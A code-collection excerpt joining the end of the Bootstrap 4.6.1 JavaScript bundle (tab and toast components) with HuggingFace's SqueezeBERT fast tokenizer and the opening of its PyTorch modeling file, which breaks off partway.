}
var parent = element.parentNode;
if (parent && parent.nodeName === 'LI') {
parent = parent.parentNode;
}
if (parent && $__default["default"](parent).hasClass(CLASS_NAME_DROPDOWN_MENU)) {
var dropdownElement = $__default["default"](element).closest(SELECTOR_DROPDOWN)[0];
if (dropdownElement) {
var dropdownToggleList = [].slice.call(dropdownElement.querySelectorAll(SELECTOR_DROPDOWN_TOGGLE));
$__default["default"](dropdownToggleList).addClass(CLASS_NAME_ACTIVE);
}
element.setAttribute('aria-expanded', true);
}
if (callback) {
callback();
}
} // Static
;
Tab._jQueryInterface = function _jQueryInterface(config) {
return this.each(function () {
var $this = $__default["default"](this);
var data = $this.data(DATA_KEY$1);
if (!data) {
data = new Tab(this);
$this.data(DATA_KEY$1, data);
}
if (typeof config === 'string') {
if (typeof data[config] === 'undefined') {
throw new TypeError("No method named \"" + config + "\"");
}
data[config]();
}
});
};
_createClass(Tab, null, [{
key: "VERSION",
get: function get() {
return VERSION$1;
}
}]);
return Tab;
}();
/**
* Data API implementation
*/
$__default["default"](document).on(EVENT_CLICK_DATA_API, SELECTOR_DATA_TOGGLE, function (event) {
event.preventDefault();
Tab._jQueryInterface.call($__default["default"](this), 'show');
});
/**
* jQuery
*/
$__default["default"].fn[NAME$1] = Tab._jQueryInterface;
$__default["default"].fn[NAME$1].Constructor = Tab;
$__default["default"].fn[NAME$1].noConflict = function () {
$__default["default"].fn[NAME$1] = JQUERY_NO_CONFLICT$1;
return Tab._jQueryInterface;
};
/**
* Constants
*/
var NAME = 'toast';
var VERSION = '4.6.1';
var DATA_KEY = 'bs.toast';
var EVENT_KEY = "." + DATA_KEY;
var JQUERY_NO_CONFLICT = $__default["default"].fn[NAME];
var CLASS_NAME_FADE = 'fade';
var CLASS_NAME_HIDE = 'hide';
var CLASS_NAME_SHOW = 'show';
var CLASS_NAME_SHOWING = 'showing';
var EVENT_CLICK_DISMISS = "click.dismiss" + EVENT_KEY;
var EVENT_HIDE = "hide" + EVENT_KEY;
var EVENT_HIDDEN = "hidden" + EVENT_KEY;
var EVENT_SHOW = "show" + EVENT_KEY;
var EVENT_SHOWN = "shown" + EVENT_KEY;
var SELECTOR_DATA_DISMISS = '[data-dismiss="toast"]';
var Default = {
animation: true,
autohide: true,
delay: 500
};
var DefaultType = {
animation: 'boolean',
autohide: 'boolean',
delay: 'number'
};
/**
* Class definition
*/
var Toast = /*#__PURE__*/function () {
function Toast(element, config) {
this._element = element;
this._config = this._getConfig(config);
this._timeout = null;
this._setListeners();
} // Getters
var _proto = Toast.prototype;
// Public
_proto.show = function show() {
var _this = this;
var showEvent = $__default["default"].Event(EVENT_SHOW);
$__default["default"](this._element).trigger(showEvent);
if (showEvent.isDefaultPrevented()) {
return;
}
this._clearTimeout();
if (this._config.animation) {
this._element.classList.add(CLASS_NAME_FADE);
}
var complete = function complete() {
_this._element.classList.remove(CLASS_NAME_SHOWING);
_this._element.classList.add(CLASS_NAME_SHOW);
$__default["default"](_this._element).trigger(EVENT_SHOWN);
if (_this._config.autohide) {
_this._timeout = setTimeout(function () {
_this.hide();
}, _this._config.delay);
}
};
this._element.classList.remove(CLASS_NAME_HIDE);
Util.reflow(this._element);
this._element.classList.add(CLASS_NAME_SHOWING);
if (this._config.animation) {
var transitionDuration = Util.getTransitionDurationFromElement(this._element);
$__default["default"](this._element).one(Util.TRANSITION_END, complete).emulateTransitionEnd(transitionDuration);
} else {
complete();
}
};
_proto.hide = function hide() {
if (!this._element.classList.contains(CLASS_NAME_SHOW)) {
return;
}
var hideEvent = $__default["default"].Event(EVENT_HIDE);
$__default["default"](this._element).trigger(hideEvent);
if (hideEvent.isDefaultPrevented()) {
return;
}
this._close();
};
_proto.dispose = function dispose() {
this._clearTimeout();
if (this._element.classList.contains(CLASS_NAME_SHOW)) {
this._element.classList.remove(CLASS_NAME_SHOW);
}
$__default["default"](this._element).off(EVENT_CLICK_DISMISS);
$__default["default"].removeData(this._element, DATA_KEY);
this._element = null;
this._config = null;
} // Private
;
_proto._getConfig = function _getConfig(config) {
config = _extends({}, Default, $__default["default"](this._element).data(), typeof config === 'object' && config ? config : {});
Util.typeCheckConfig(NAME, config, this.constructor.DefaultType);
return config;
};
_proto._setListeners = function _setListeners() {
var _this2 = this;
$__default["default"](this._element).on(EVENT_CLICK_DISMISS, SELECTOR_DATA_DISMISS, function () {
return _this2.hide();
});
};
_proto._close = function _close() {
var _this3 = this;
var complete = function complete() {
_this3._element.classList.add(CLASS_NAME_HIDE);
$__default["default"](_this3._element).trigger(EVENT_HIDDEN);
};
this._element.classList.remove(CLASS_NAME_SHOW);
if (this._config.animation) {
var transitionDuration = Util.getTransitionDurationFromElement(this._element);
$__default["default"](this._element).one(Util.TRANSITION_END, complete).emulateTransitionEnd(transitionDuration);
} else {
complete();
}
};
_proto._clearTimeout = function _clearTimeout() {
clearTimeout(this._timeout);
this._timeout = null;
} // Static
;
Toast._jQueryInterface = function _jQueryInterface(config) {
return this.each(function () {
var $element = $__default["default"](this);
var data = $element.data(DATA_KEY);
var _config = typeof config === 'object' && config;
if (!data) {
data = new Toast(this, _config);
$element.data(DATA_KEY, data);
}
if (typeof config === 'string') {
if (typeof data[config] === 'undefined') {
throw new TypeError("No method named \"" + config + "\"");
}
data[config](this);
}
});
};
_createClass(Toast, null, [{
key: "VERSION",
get: function get() {
return VERSION;
}
}, {
key: "DefaultType",
get: function get() {
return DefaultType;
}
}, {
key: "Default",
get: function get() {
return Default;
}
}]);
return Toast;
}();
/**
* jQuery
*/
$__default["default"].fn[NAME] = Toast._jQueryInterface;
$__default["default"].fn[NAME].Constructor = Toast;
$__default["default"].fn[NAME].noConflict = function () {
$__default["default"].fn[NAME] = JQUERY_NO_CONFLICT;
return Toast._jQueryInterface;
};
exports.Alert = Alert;
exports.Button = Button;
exports.Carousel = Carousel;
exports.Collapse = Collapse;
exports.Dropdown = Dropdown;
exports.Modal = Modal;
exports.Popover = Popover;
exports.Scrollspy = ScrollSpy;
exports.Tab = Tab;
exports.Toast = Toast;
exports.Tooltip = Tooltip;
exports.Util = Util;
Object.defineProperty(exports, '__esModule', { value: true });
}));
//# sourceMappingURL=bootstrap.js.map
|
27182812/ChatGLM-LLaMA-chinese-insturct | 9,397 | src/transformers/models/squeezebert/tokenization_squeezebert_fast.py | # coding=utf-8
# Copyright 2020 The SqueezeBert authors and The HuggingFace Inc. team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Tokenization classes for SqueezeBERT."""
import json
from typing import List, Optional, Tuple
from tokenizers import normalizers
from ...tokenization_utils_fast import PreTrainedTokenizerFast
from ...utils import logging
from .tokenization_squeezebert import SqueezeBertTokenizer
logger = logging.get_logger(__name__)
VOCAB_FILES_NAMES = {"vocab_file": "vocab.txt", "tokenizer_file": "tokenizer.json"}
PRETRAINED_VOCAB_FILES_MAP = {
"vocab_file": {
"squeezebert/squeezebert-uncased": (
"https://huggingface.co/squeezebert/squeezebert-uncased/resolve/main/vocab.txt"
),
"squeezebert/squeezebert-mnli": "https://huggingface.co/squeezebert/squeezebert-mnli/resolve/main/vocab.txt",
"squeezebert/squeezebert-mnli-headless": (
"https://huggingface.co/squeezebert/squeezebert-mnli-headless/resolve/main/vocab.txt"
),
},
"tokenizer_file": {
"squeezebert/squeezebert-uncased": (
"https://huggingface.co/squeezebert/squeezebert-uncased/resolve/main/tokenizer.json"
),
"squeezebert/squeezebert-mnli": (
"https://huggingface.co/squeezebert/squeezebert-mnli/resolve/main/tokenizer.json"
),
"squeezebert/squeezebert-mnli-headless": (
"https://huggingface.co/squeezebert/squeezebert-mnli-headless/resolve/main/tokenizer.json"
),
},
}
PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES = {
"squeezebert/squeezebert-uncased": 512,
"squeezebert/squeezebert-mnli": 512,
"squeezebert/squeezebert-mnli-headless": 512,
}
PRETRAINED_INIT_CONFIGURATION = {
"squeezebert/squeezebert-uncased": {"do_lower_case": True},
"squeezebert/squeezebert-mnli": {"do_lower_case": True},
"squeezebert/squeezebert-mnli-headless": {"do_lower_case": True},
}
# Copied from transformers.models.bert.tokenization_bert_fast.BertTokenizerFast with Bert->SqueezeBert,BERT->SqueezeBERT
class SqueezeBertTokenizerFast(PreTrainedTokenizerFast):
r"""
Construct a "fast" SqueezeBERT tokenizer (backed by HuggingFace's *tokenizers* library). Based on WordPiece.
This tokenizer inherits from [`PreTrainedTokenizerFast`] which contains most of the main methods. Users should
refer to this superclass for more information regarding those methods.
Args:
vocab_file (`str`):
File containing the vocabulary.
do_lower_case (`bool`, *optional*, defaults to `True`):
Whether or not to lowercase the input when tokenizing.
unk_token (`str`, *optional*, defaults to `"[UNK]"`):
The unknown token. A token that is not in the vocabulary cannot be converted to an ID and is set to be this
token instead.
sep_token (`str`, *optional*, defaults to `"[SEP]"`):
The separator token, which is used when building a sequence from multiple sequences, e.g. two sequences for
sequence classification or for a text and a question for question answering. It is also used as the last
token of a sequence built with special tokens.
pad_token (`str`, *optional*, defaults to `"[PAD]"`):
The token used for padding, for example when batching sequences of different lengths.
cls_token (`str`, *optional*, defaults to `"[CLS]"`):
The classifier token which is used when doing sequence classification (classification of the whole sequence
instead of per-token classification). It is the first token of the sequence when built with special tokens.
mask_token (`str`, *optional*, defaults to `"[MASK]"`):
The token used for masking values. This is the token used when training this model with masked language
modeling. This is the token which the model will try to predict.
clean_text (`bool`, *optional*, defaults to `True`):
Whether or not to clean the text before tokenization by removing any control characters and replacing all
whitespaces by the classic one.
tokenize_chinese_chars (`bool`, *optional*, defaults to `True`):
Whether or not to tokenize Chinese characters. This should likely be deactivated for Japanese (see [this
issue](https://github.com/huggingface/transformers/issues/328)).
strip_accents (`bool`, *optional*):
Whether or not to strip all accents. If this option is not specified, then it will be determined by the
value for `lowercase` (as in the original SqueezeBERT).
wordpieces_prefix (`str`, *optional*, defaults to `"##"`):
The prefix for subwords.
"""
vocab_files_names = VOCAB_FILES_NAMES
pretrained_vocab_files_map = PRETRAINED_VOCAB_FILES_MAP
pretrained_init_configuration = PRETRAINED_INIT_CONFIGURATION
max_model_input_sizes = PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES
slow_tokenizer_class = SqueezeBertTokenizer
def __init__(
self,
vocab_file=None,
tokenizer_file=None,
do_lower_case=True,
unk_token="[UNK]",
sep_token="[SEP]",
pad_token="[PAD]",
cls_token="[CLS]",
mask_token="[MASK]",
tokenize_chinese_chars=True,
strip_accents=None,
**kwargs,
):
super().__init__(
vocab_file,
tokenizer_file=tokenizer_file,
do_lower_case=do_lower_case,
unk_token=unk_token,
sep_token=sep_token,
pad_token=pad_token,
cls_token=cls_token,
mask_token=mask_token,
tokenize_chinese_chars=tokenize_chinese_chars,
strip_accents=strip_accents,
**kwargs,
)
normalizer_state = json.loads(self.backend_tokenizer.normalizer.__getstate__())
if (
normalizer_state.get("lowercase", do_lower_case) != do_lower_case
or normalizer_state.get("strip_accents", strip_accents) != strip_accents
or normalizer_state.get("handle_chinese_chars", tokenize_chinese_chars) != tokenize_chinese_chars
):
normalizer_class = getattr(normalizers, normalizer_state.pop("type"))
normalizer_state["lowercase"] = do_lower_case
normalizer_state["strip_accents"] = strip_accents
normalizer_state["handle_chinese_chars"] = tokenize_chinese_chars
self.backend_tokenizer.normalizer = normalizer_class(**normalizer_state)
self.do_lower_case = do_lower_case
def build_inputs_with_special_tokens(self, token_ids_0, token_ids_1=None):
"""
Build model inputs from a sequence or a pair of sequence for sequence classification tasks by concatenating and
adding special tokens. A SqueezeBERT sequence has the following format:
- single sequence: `[CLS] X [SEP]`
- pair of sequences: `[CLS] A [SEP] B [SEP]`
Args:
token_ids_0 (`List[int]`):
List of IDs to which the special tokens will be added.
token_ids_1 (`List[int]`, *optional*):
Optional second list of IDs for sequence pairs.
Returns:
`List[int]`: List of [input IDs](../glossary#input-ids) with the appropriate special tokens.
"""
output = [self.cls_token_id] + token_ids_0 + [self.sep_token_id]
if token_ids_1:
output += token_ids_1 + [self.sep_token_id]
return output
def create_token_type_ids_from_sequences(
self, token_ids_0: List[int], token_ids_1: Optional[List[int]] = None
) -> List[int]:
"""
Create a mask from the two sequences passed to be used in a sequence-pair classification task. A SqueezeBERT
sequence pair mask has the following format:
```
0 0 0 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1 1
| first sequence | second sequence |
```
If `token_ids_1` is `None`, this method only returns the first portion of the mask (0s).
Args:
token_ids_0 (`List[int]`):
List of IDs.
token_ids_1 (`List[int]`, *optional*):
Optional second list of IDs for sequence pairs.
Returns:
`List[int]`: List of [token type IDs](../glossary#token-type-ids) according to the given sequence(s).
"""
sep = [self.sep_token_id]
cls = [self.cls_token_id]
if token_ids_1 is None:
return len(cls + token_ids_0 + sep) * [0]
return len(cls + token_ids_0 + sep) * [0] + len(token_ids_1 + sep) * [1]
def save_vocabulary(self, save_directory: str, filename_prefix: Optional[str] = None) -> Tuple[str]:
files = self._tokenizer.model.save(save_directory, name=filename_prefix)
return tuple(files)
|
27182812/ChatGLM-LLaMA-chinese-insturct | 45,095 | src/transformers/models/squeezebert/modeling_squeezebert.py | # coding=utf-8
# Copyright 2020 The SqueezeBert authors and The HuggingFace Inc. team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
""" PyTorch SqueezeBert model."""
import math
from typing import Optional, Tuple, Union
import torch
from torch import nn
from torch.nn import BCEWithLogitsLoss, CrossEntropyLoss, MSELoss
from ...activations import ACT2FN
from ...modeling_outputs import (
BaseModelOutput,
BaseModelOutputWithPooling,
MaskedLMOutput,
MultipleChoiceModelOutput,
QuestionAnsweringModelOutput,
SequenceClassifierOutput,
TokenClassifierOutput,
)
from ...modeling_utils import PreTrainedModel
from ...utils import add_code_sample_docstrings, add_start_docstrings, add_start_docstrings_to_model_forward, logging
from .configuration_squeezebert import SqueezeBertConfig
logger = logging.get_logger(__name__)
_CHECKPOINT_FOR_DOC = "squeezebert/squeezebert-uncased"
_CONFIG_FOR_DOC = "SqueezeBertConfig"
SQUEEZEBERT_PRETRAINED_MODEL_ARCHIVE_LIST = [
"squeezebert/squeezebert-uncased",
"squeezebert/squeezebert-mnli",
"squeezebert/squeezebert-mnli-headless",
]
class SqueezeBertEmbeddings(nn.Module):
"""Construct the embeddings from word, position and token_type embeddings."""
def __init__(self, config):
super().__init__()
self.word_embeddings = nn.Embedding(config.vocab_size, config.embedding_size, padding_idx=config.pad_token_id)
self.position_embeddings = nn.Embedding(config.max_position_embeddings, config.embedding_size)
self.token_type_embeddings = nn.Embedding(config.type_vocab_size, config.embedding_size)
# self.LayerNorm is not snake-cased to stick with TensorFlow model variable name and be able to load
# any TensorFlow checkpoint file
self.LayerNorm = nn.LayerNorm(config.hidden_size, eps=config.layer_norm_eps)
self.dropout = nn.Dropout(config.hidden_dropout_prob)
# position_ids (1, len position emb) is contiguous in memory and exported when serialized
self.register_buffer("position_ids", torch.arange(config.max_position_embeddings).expand((1, -1)))
def forward(self, input_ids=None, token_type_ids=None, position_ids=None, inputs_embeds=None):
if input_ids is not None:
input_shape = input_ids.size()
else:
input_shape = inputs_embeds.size()[:-1]
seq_length = input_shape[1]
if position_ids is None:
position_ids = self.position_ids[:, :seq_length]
if token_type_ids is None:
token_type_ids = torch.zeros(input_shape, dtype=torch.long, device=self.position_ids.device)
if inputs_embeds is None:
inputs_embeds = self.word_embeddings(input_ids)
position_embeddings = self.position_embeddings(position_ids)
token_type_embeddings = self.token_type_embeddings(token_type_ids)
embeddings = inputs_embeds + position_embeddings + token_type_embeddings
embeddings = self.LayerNorm(embeddings)
embeddings = self.dropout(embeddings)
return embeddings
class MatMulWrapper(nn.Module):
"""
Wrapper for torch.matmul(). This makes flop-counting easier to implement. Note that if you directly call
torch.matmul() in your code, the flop counter will typically ignore the flops of the matmul.
"""
def __init__(self):
super().__init__()
def forward(self, mat1, mat2):
"""
:param inputs: two torch tensors :return: matmul of these tensors
Here are the typical dimensions found in BERT (the B is optional) mat1.shape: [B, <optional extra dims>, M, K]
mat2.shape: [B, <optional extra dims>, K, N] output shape: [B, <optional extra dims>, M, N]
"""
return torch.matmul(mat1, mat2)
class SqueezeBertLayerNorm(nn.LayerNorm):
"""
This is a nn.LayerNorm subclass that accepts NCW data layout and performs normalization in the C dimension.
N = batch C = channels W = sequence length
"""
def __init__(self, hidden_size, eps=1e-12):
nn.LayerNorm.__init__(self, normalized_shape=hidden_size, eps=eps) # instantiates self.{weight, bias, eps}
def forward(self, x):
x = x.permute(0, 2, 1)
x = nn.LayerNorm.forward(self, x)
return x.permute(0, 2, 1)
class ConvDropoutLayerNorm(nn.Module):
"""
ConvDropoutLayerNorm: Conv, Dropout, LayerNorm
"""
def __init__(self, cin, cout, groups, dropout_prob):
super().__init__()
self.conv1d = nn.Conv1d(in_channels=cin, out_channels=cout, kernel_size=1, groups=groups)
self.layernorm = SqueezeBertLayerNorm(cout)
self.dropout = nn.Dropout(dropout_prob)
def forward(self, hidden_states, input_tensor):
x = self.conv1d(hidden_states)
x = self.dropout(x)
x = x + input_tensor
x = self.layernorm(x)
return x
class ConvActivation(nn.Module):
"""
ConvActivation: Conv, Activation
"""
def __init__(self, cin, cout, groups, act):
super().__init__()
self.conv1d = nn.Conv1d(in_channels=cin, out_channels=cout, kernel_size=1, groups=groups)
self.act = ACT2FN[act]
def forward(self, x):
output = self.conv1d(x)
return self.act(output)
class SqueezeBertSelfAttention(nn.Module):
def __init__(self, config, cin, q_groups=1, k_groups=1, v_groups=1):
"""
config = used for some things; ignored for others (work in progress...) cin = input channels = output channels
groups = number of groups to use in conv1d layers
"""
super().__init__()
if cin % config.num_attention_heads != 0:
raise ValueError(
f"cin ({cin}) is not a multiple of the number of attention heads ({config.num_attention_heads})"
)
self.num_attention_heads = config.num_attention_heads
self.attention_head_size = int(cin / config.num_attention_heads)
self.all_head_size = self.num_attention_heads * self.attention_head_size
self.query = nn.Conv1d(in_channels=cin, out_channels=cin, kernel_size=1, groups=q_groups)
self.key = nn.Conv1d(in_channels=cin, out_channels=cin, kernel_size=1, groups=k_groups)
self.value = nn.Conv1d(in_channels=cin, out_channels=cin, kernel_size=1, groups=v_groups)
self.dropout = nn.Dropout(config.attention_probs_dropout_prob)
self.softmax = nn.Softmax(dim=-1)
self.matmul_qk = MatMulWrapper()
self.matmul_qkv = MatMulWrapper()
def transpose_for_scores(self, x):
"""
- input: [N, C, W]
- output: [N, C1, W, C2] where C1 is the head index, and C2 is one head's contents
"""
new_x_shape = (x.size()[0], self.num_attention_heads, self.attention_head_size, x.size()[-1]) # [N, C1, C2, W]
x = x.view(*new_x_shape)
return x.permute(0, 1, 3, 2) # [N, C1, C2, W] --> [N, C1, W, C2]
def transpose_key_for_scores(self, x):
"""
- input: [N, C, W]
- output: [N, C1, C2, W] where C1 is the head index, and C2 is one head's contents
"""
new_x_shape = (x.size()[0], self.num_attention_heads, self.attention_head_size, x.size()[-1]) # [N, C1, C2, W]
x = x.view(*new_x_shape)
# no `permute` needed
return x
def transpose_output(self, x):
"""
- input: [N, C1, W, C2]
- output: [N, C, W]
"""
x = x.permute(0, 1, 3, 2).contiguous() # [N, C1, C2, W]
new_x_shape = (x.size()[0], self.all_head_size, x.size()[3]) # [N, C, W]
x = x.view(*new_x_shape)
return x
def forward(self, hidden_states, attention_mask, output_attentions):
"""
expects hidden_states in [N, C, W] data layout.
The attention_mask data layout is [N, W], and it does not need to be transposed.
"""
mixed_query_layer = self.query(hidden_states)
mixed_key_layer = self.key(hidden_states)
mixed_value_layer = self.value(hidden_states)
query_layer = self.transpose_for_scores(mixed_query_layer)
key_layer = self.transpose_key_for_scores(mixed_key_layer)
value_layer = self.transpose_for_scores(mixed_value_layer)
# Take the dot product between "query" and "key" to get the raw attention scores.
attention_score = self.matmul_qk(query_layer, key_layer)
attention_score = attention_score / math.sqrt(self.attention_head_size)
# Apply the attention mask is (precomputed for all layers in BertModel forward() function)
attention_score = attention_score + attention_mask
# Normalize the attention scores to probabilities.
attention_probs = self.softmax(attention_score)
# This is actually dropping out entire tokens to attend to, which might
# seem a bit unusual, but is taken from the original Transformer paper.
attention_probs = self.dropout(attention_probs)
context_layer = self.matmul_qkv(attention_probs, value_layer)
context_layer = self.transpose_output(context_layer)
result = {"context_layer": context_layer}
if output_attentions:
result["attention_score"] = attention_score
return result
class SqueezeBertModule(nn.Module):
def __init__(self, config):
"""
- hidden_size = input chans = output chans for Q, K, V (they are all the same ... for now) = output chans for
the module
- intermediate_size = output chans for intermediate layer
- groups = number of groups for all layers in the BertModule. (eventually we could change the interface to
allow different groups for different layers)
"""
super().__init__()
c0 = config.hidden_size
c1 = config.hidden_size
c2 = config.intermediate_size
c3 = config.hidden_size
self.attention = SqueezeBertSelfAttention(
config=config, cin=c0, q_groups=config.q_groups, k_groups=config.k_groups, v_groups=config.v_groups
)
self.post_attention = ConvDropoutLayerNorm(
cin=c0, cout=c1, groups=config.post_attention_groups, dropout_prob=config.hidden_dropout_prob
)
self.intermediate = ConvActivation(cin=c1, cout=c2, groups=config.intermediate_groups, act=config.hidden_act)
self.output = ConvDropoutLayerNorm(
cin=c2, cout=c3, groups=config.output_groups, dropout_prob=config.hidden_dropout_prob
)
def forward(self, hidden_states, attention_mask, output_attentions):
att = self.attention(hidden_states, attention_mask, output_attentions)
attention_output = att["context_layer"]
post_attention_output = self.post_attention(attention_output, hidden_states)
intermediate_output = self.intermediate(post_attention_output)
layer_output = self.output(intermediate_output, post_attention_output)
output_dict = {"feature_map": layer_output}
if output_attentions:
output_dict["attention_score"] = att["attention_score"]
return output_dict
class SqueezeBertEncoder(nn.Module):
def __init__(self, config):
super().__init__()
assert config.embedding_size == config.hidden_size, (
"If you want embedding_size != intermediate hidden_size, "
"please insert a Conv1d layer to adjust the number of channels "
"before the first SqueezeBertModule."
)
self.layers = nn.ModuleList(SqueezeBertModule(config) for _ in range(config.num_hidden_layers))
def forward(
self,
hidden_states,
attention_mask=None,
head_mask=None,
output_attentions=False,
output_hidden_states=False,
return_dict=True,
):
if head_mask is None:
head_mask_is_all_none = True
elif head_mask.count(None) == len(head_mask):
head_mask_is_all_none = True
else:
head_mask_is_all_none = False
assert head_mask_is_all_none is True, "head_mask is not yet supported in the SqueezeBert implementation."
# [batch_size, sequence_length, hidden_size] --> [batch_size, hidden_size, sequence_length]
hidden_states = hidden_states.permute(0, 2, 1)
all_hidden_states = () if output_hidden_states else None
all_attentions = () if output_attentions else None
for layer in self.layers:
if output_hidden_states:
hidden_states = hidden_states.permute(0, 2, 1)
all_hidden_states += (hidden_states,)
hidden_states = hidden_states.permute(0, 2, 1)
layer_output = layer.forward(hidden_states, attention_mask, output_attentions)
hidden_states = layer_output["feature_map"]
if output_attentions:
all_attentions += (layer_output["attention_score"],)
# [batch_size, hidden_size, sequence_length] --> [batch_size, sequence_length, hidden_size]
hidden_states = hidden_states.permute(0, 2, 1)
if output_hidden_states:
all_hidden_states += (hidden_states,)
if not return_dict:
return tuple(v for v in [hidden_states, all_hidden_states, all_attentions] if v is not None)
return BaseModelOutput(
last_hidden_state=hidden_states, hidden_states=all_hidden_states, attentions=all_attentions
)
class SqueezeBertPooler(nn.Module):
def __init__(self, config):
super().__init__()
self.dense = nn.Linear(config.hidden_size, config.hidden_size)
self.activation = nn.Tanh()
def forward(self, hidden_states):
# We "pool" the model by simply taking the hidden state corresponding
# to the first token.
first_token_tensor = hidden_states[:, 0]
pooled_output = self.dense(first_token_tensor)
pooled_output = self.activation(pooled_output)
return pooled_output
class SqueezeBertPredictionHeadTransform(nn.Module):
def __init__(self, config):
super().__init__()
self.dense = nn.Linear(config.hidden_size, config.hidden_size)
if isinstance(config.hidden_act, str):
self.transform_act_fn = ACT2FN[config.hidden_act]
else:
self.transform_act_fn = config.hidden_act
self.LayerNorm = nn.LayerNorm(config.hidden_size, eps=config.layer_norm_eps)
def forward(self, hidden_states):
hidden_states = self.dense(hidden_states)
hidden_states = self.transform_act_fn(hidden_states)
hidden_states = self.LayerNorm(hidden_states)
return hidden_states
class SqueezeBertLMPredictionHead(nn.Module):
def __init__(self, config):
super().__init__()
self.transform = SqueezeBertPredictionHeadTransform(config)
# The output weights are the same as the input embeddings, but there is
# an output-only bias for each token.
self.decoder = nn.Linear(config.hidden_size, config.vocab_size, bias=False)
self.bias = nn.Parameter(torch.zeros(config.vocab_size))
# Need a link between the two variables so that the bias is correctly resized with `resize_token_embeddings`
self.decoder.bias = self.bias
def forward(self, hidden_states):
hidden_states = self.transform(hidden_states)
hidden_states = self.decoder(hidden_states)
return hidden_states
class SqueezeBertOnlyMLMHead(nn.Module):
def __init__(self, config):
super().__init__()
self.predictions = SqueezeBertLMPredictionHead(config)
def forward(self, sequence_output):
prediction_scores = self.predictions(sequence_output)
return prediction_scores
class SqueezeBertPreTrainedModel(PreTrainedModel):
"""
An abstract class to handle weights initialization and a simple interface for downloading and loading pretrained
models.
"""
config_class = SqueezeBertConfig
base_model_prefix = "transformer"
_keys_to_ignore_on_load_missing = [r"position_ids"]
def _init_weights(self, module):
"""Initialize the weights"""
if isinstance(module, (nn.Linear, nn.Conv1d)):
# Slightly different from the TF version which uses truncated_normal for initialization
# cf https://github.com/pytorch/pytorch/pull/5617
module.weight.data.normal_(mean=0.0, std=self.config.initializer_range)
if module.bias is not None:
module.bias.data.zero_()
elif isinstance(module, nn.Embedding):
module.weight.data.normal_(mean=0.0, std=self.config.initializer_range)
if module.padding_idx is not None:
module.weight.data[module.padding_idx].zero_()
elif isinstance(module, SqueezeBertLayerNorm):
module.bias.data.zero_()
module.weight.data.fill_(1.0)
SQUEEZEBERT_START_DOCSTRING = r"""
The SqueezeBERT model was proposed in [SqueezeBERT: What can computer vision teach NLP about efficient neural
networks?](https://arxiv.org/abs/2006.11316) by Forrest N. Iandola, Albert E. Shaw, Ravi Krishna, and Kurt W.
Keutzer
This model inherits from [`PreTrainedModel`]. Check the superclass documentation for the generic methods the
library implements for all its model (such as downloading or saving, resizing the input embeddings, pruning heads
etc.)
This model is also a PyTorch [torch.nn.Module](https://pytorch.org/docs/stable/nn.html#torch.nn.Module) subclass.
Use it as a regular PyTorch Module and refer to the PyTorch documentation for all matter related to general usage
and behavior.
For best results finetuning SqueezeBERT on text classification tasks, it is recommended to use the
*squeezebert/squeezebert-mnli-headless* checkpoint as a starting point.
Parameters:
config ([`SqueezeBertConfig`]): Model configuration class with all the parameters of the model.
Initializing with a config file does not load the weights associated with the model, only the
configuration. Check out the [`~PreTrainedModel.from_pretrained`] method to load the model weights.
Hierarchy:
```
Internal class hierarchy:
SqueezeBertModel
SqueezeBertEncoder
SqueezeBertModule
SqueezeBertSelfAttention
ConvActivation
ConvDropoutLayerNorm
```
Data layouts:
```
Input data is in [batch, sequence_length, hidden_size] format.
Data inside the encoder is in [batch, hidden_size, sequence_length] format. But, if `output_hidden_states == True`, the data from inside the encoder is returned in [batch, sequence_length, hidden_size] format.
The final output of the encoder is in [batch, sequence_length, hidden_size] format.
```
"""
SQUEEZEBERT_INPUTS_DOCSTRING = r"""
Args:
input_ids (`torch.LongTensor` of shape `({0})`):
Indices of input sequence tokens in the vocabulary.
Indices can be obtained using [`AutoTokenizer`]. See [`PreTrainedTokenizer.encode`] and
[`PreTrainedTokenizer.__call__`] for details.
[What are input IDs?](../glossary#input-ids)
attention_mask (`torch.FloatTensor` of shape `({0})`, *optional*):
Mask to avoid performing attention on padding token indices. Mask values selected in `[0, 1]`:
- 1 for tokens that are **not masked**,
- 0 for tokens that are **masked**.
[What are attention masks?](../glossary#attention-mask)
token_type_ids (`torch.LongTensor` of shape `({0})`, *optional*):
Segment token indices to indicate first and second portions of the inputs. Indices are selected in `[0,
1]`:
- 0 corresponds to a *sentence A* token,
- 1 corresponds to a *sentence B* token.
[What are token type IDs?](../glossary#token-type-ids)
position_ids (`torch.LongTensor` of shape `({0})`, *optional*):
Indices of positions of each input sequence tokens in the position embeddings. Selected in the range `[0,
config.max_position_embeddings - 1]`.
[What are position IDs?](../glossary#position-ids)
head_mask (`torch.FloatTensor` of shape `(num_heads,)` or `(num_layers, num_heads)`, *optional*):
Mask to nullify selected heads of the self-attention modules. Mask values selected in `[0, 1]`:
- 1 indicates the head is **not masked**,
- 0 indicates the head is **masked**.
inputs_embeds (`torch.FloatTensor` of shape `({0}, hidden_size)`, *optional*):
Optionally, instead of passing `input_ids` you can choose to directly pass an embedded representation. This
is useful if you want more control over how to convert `input_ids` indices into associated vectors than the
model's internal embedding lookup matrix.
output_attentions (`bool`, *optional*):
Whether or not to return the attentions tensors of all attention layers. See `attentions` under returned
tensors for more detail.
output_hidden_states (`bool`, *optional*):
Whether or not to return the hidden states of all layers. See `hidden_states` under returned tensors for
more detail.
return_dict (`bool`, *optional*):
Whether or not to return a [`~utils.ModelOutput`] instead of a plain tuple.
"""
@add_start_docstrings(
"The bare SqueezeBERT Model transformer outputting raw hidden-states without any specific head on top.",
SQUEEZEBERT_START_DOCSTRING,
)
class SqueezeBertModel(SqueezeBertPreTrainedModel):
def __init__(self, config):
super().__init__(config)
self.embeddings = SqueezeBertEmbeddings(config)
self.encoder = SqueezeBertEncoder(config)
